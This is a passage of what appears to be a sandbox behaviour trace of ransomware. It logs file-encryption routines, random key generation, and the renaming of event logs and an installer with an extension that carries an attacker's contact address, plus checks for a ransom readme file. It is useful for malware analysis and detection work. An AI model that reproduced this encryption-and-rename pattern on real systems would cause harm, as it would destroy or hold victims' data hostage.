BaseAddress=0x3479bc8) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.614] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.614] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x812fd34, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x812fd34*=0x4096, lpOverlapped=0x0) returned 1 [0061.614] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.615] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x812fd34, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x812fd34*=0x4096, lpOverlapped=0x0) returned 1 [0061.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.616] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.616] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x812fd6c, lpOverlapped=0x0 | out: lpBuffer=0x347b250*, lpNumberOfBytesWritten=0x812fd6c*=0x20, lpOverlapped=0x0) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.617] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x347b2f0*, lpNumberOfBytesWritten=0x812fd80*=0x8, lpOverlapped=0x0) returned 1 [0061.617] WriteFile (in: hFile=0x5b4, lpBuffer=0x812fd98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x812fd98*, lpNumberOfBytesWritten=0x812fd80*=0x4, lpOverlapped=0x0) returned 1 [0061.617] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x812fd80*=0x4, lpOverlapped=0x0) returned 1 [0061.617] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x812fd80*=0x6c, lpOverlapped=0x0) returned 1 [0061.617] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x812fd80*=0x20, lpOverlapped=0x0) returned 1 [0061.617] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x812fd80*=0x4, lpOverlapped=0x0) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2c8) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2f0) returned 1 [0061.617] CloseHandle (hObject=0x5b4) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33e5348 [0061.620] wcscpy (in: _Dest=0x33e5348, _Source="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" [0061.620] wcscat (in: _Dest=0x33e5348, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.620] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.620] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.621] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5348) returned 1 [0061.621] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.621] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.621] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.621] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.621] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.621] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.621] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3140) returned 1 [0061.621] RtlExitUserThread (Status=0x1) Thread: id = 107 os_tid = 0x1018 [0061.622] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0061.622] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.622] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.623] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x81afea8 | out: lpFileSize=0x81afea8*=69632) returned 1 [0061.623] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.623] ReadFile (in: hFile=0x5b4, lpBuffer=0x81afe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x81afe7c*, lpNumberOfBytesRead=0x81afe78*=0x4, lpOverlapped=0x0) returned 1 [0061.624] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.624] NtQuerySystemTime (in: CurrentTime=0x81afe54 | out: CurrentTime=0x81afe54*=132121176195238922) returned 0x0 [0061.624] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x3bbb00da [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xc1bc665d [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xf34f1ca5 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x1dbb0104 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xc8961d9e [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xbf1f4ace [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x6cdae410 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xc17a33e0 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x464b26ec [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x631552df [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xc5eb6899 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x1ab0bbdc [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x565c06a9 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x76c87e0e [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x7e65a662 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x407fb6cb [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x2dc61ec6 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xc3705ccb [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x3fcb80e6 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xc5f4321d [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xcdddcf97 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xd17cc441 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x6e49b8af [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xb6bb616a [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x4a6a7edc [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x695e2fe8 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x5acb9450 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xb27dd800 [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x4abb1eae [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x938e7a3e [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0xcabb897d [0061.625] RtlRandom (in: Seed=0x81afe60 | out: Seed=0x81afe60) returned 0x18d96bcb [0061.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2c8 [0061.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2f0 [0061.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.635] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.636] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x81afe2c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x81afe2c*=0x4096, lpOverlapped=0x0) returned 1 [0061.636] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.637] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x81afe2c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x81afe2c*=0x4096, lpOverlapped=0x0) returned 1 [0061.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.637] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.637] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x81afe64, lpOverlapped=0x0 | out: lpBuffer=0x347b250*, lpNumberOfBytesWritten=0x81afe64*=0x20, lpOverlapped=0x0) returned 1 [0061.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.642] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x347b2f0*, lpNumberOfBytesWritten=0x81afe78*=0x8, lpOverlapped=0x0) returned 1 [0061.642] WriteFile (in: hFile=0x5b4, lpBuffer=0x81afe90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x81afe90*, lpNumberOfBytesWritten=0x81afe78*=0x4, lpOverlapped=0x0) returned 1 [0061.642] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x81afe78*=0x4, lpOverlapped=0x0) returned 1 [0061.642] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x81afe78*=0x6c, lpOverlapped=0x0) returned 1 [0061.642] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x81afe78*=0x20, lpOverlapped=0x0) returned 1 [0061.642] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x81afe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x81afe78*=0x4, lpOverlapped=0x0) returned 1 [0061.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2c8) returned 1 [0061.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2f0) returned 1 [0061.642] CloseHandle (hObject=0x5b4) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x341e0b8 [0061.645] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" [0061.645] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.645] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.646] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.646] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.646] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.646] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.646] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c47e0) returned 1 [0061.646] RtlExitUserThread (Status=0x1) Thread: id = 108 os_tid = 0x1020 [0061.725] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0061.725] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe", dwFileAttributes=0x20) returned 1 [0061.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.726] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x822fb34 | out: lpFileSize=0x822fb34*=78152) returned 1 [0061.726] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x13144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.726] ReadFile (in: hFile=0x5b4, lpBuffer=0x822fb08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x822fb04, lpOverlapped=0x0 | out: lpBuffer=0x822fb08*, lpNumberOfBytesRead=0x822fb04*=0x4, lpOverlapped=0x0) returned 1 [0061.728] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2c8 [0061.728] NtQuerySystemTime (in: CurrentTime=0x822fae0 | out: CurrentTime=0x822fae0*=132121176196176018) returned 0x0 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x95d97974 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xaf72f21 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xe804a642 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x32de8f5f [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x6fb070fa [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xad9d7647 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x2a6fe007 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x4a03c17e [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xd56ab7ab [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xda02f41c [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xda8d808d [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xcfa1ffd4 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xac245090 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xb54f2f3 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x601b1838 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xef780feb [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xaed6b4e2 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x609d32ac [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x98d8a5e4 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x3cf71b30 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xf6581bfd [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xed46aa51 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xc67ab361 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xd8aa6c08 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x9ad6ea37 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xfe9db5d2 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x55fade47 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x3e0a6d01 [0061.728] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xe3db6943 [0061.729] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0xba660f60 [0061.729] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x5428b99c [0061.729] RtlRandom (in: Seed=0x822faec | out: Seed=0x822faec) returned 0x60328054 [0061.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2f0 [0061.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.740] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.740] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x822fab8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x822fab8*=0x4096, lpOverlapped=0x0) returned 1 [0061.741] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.741] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x822fab8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x822fab8*=0x4096, lpOverlapped=0x0) returned 1 [0061.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.742] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x13148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.742] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b250*, 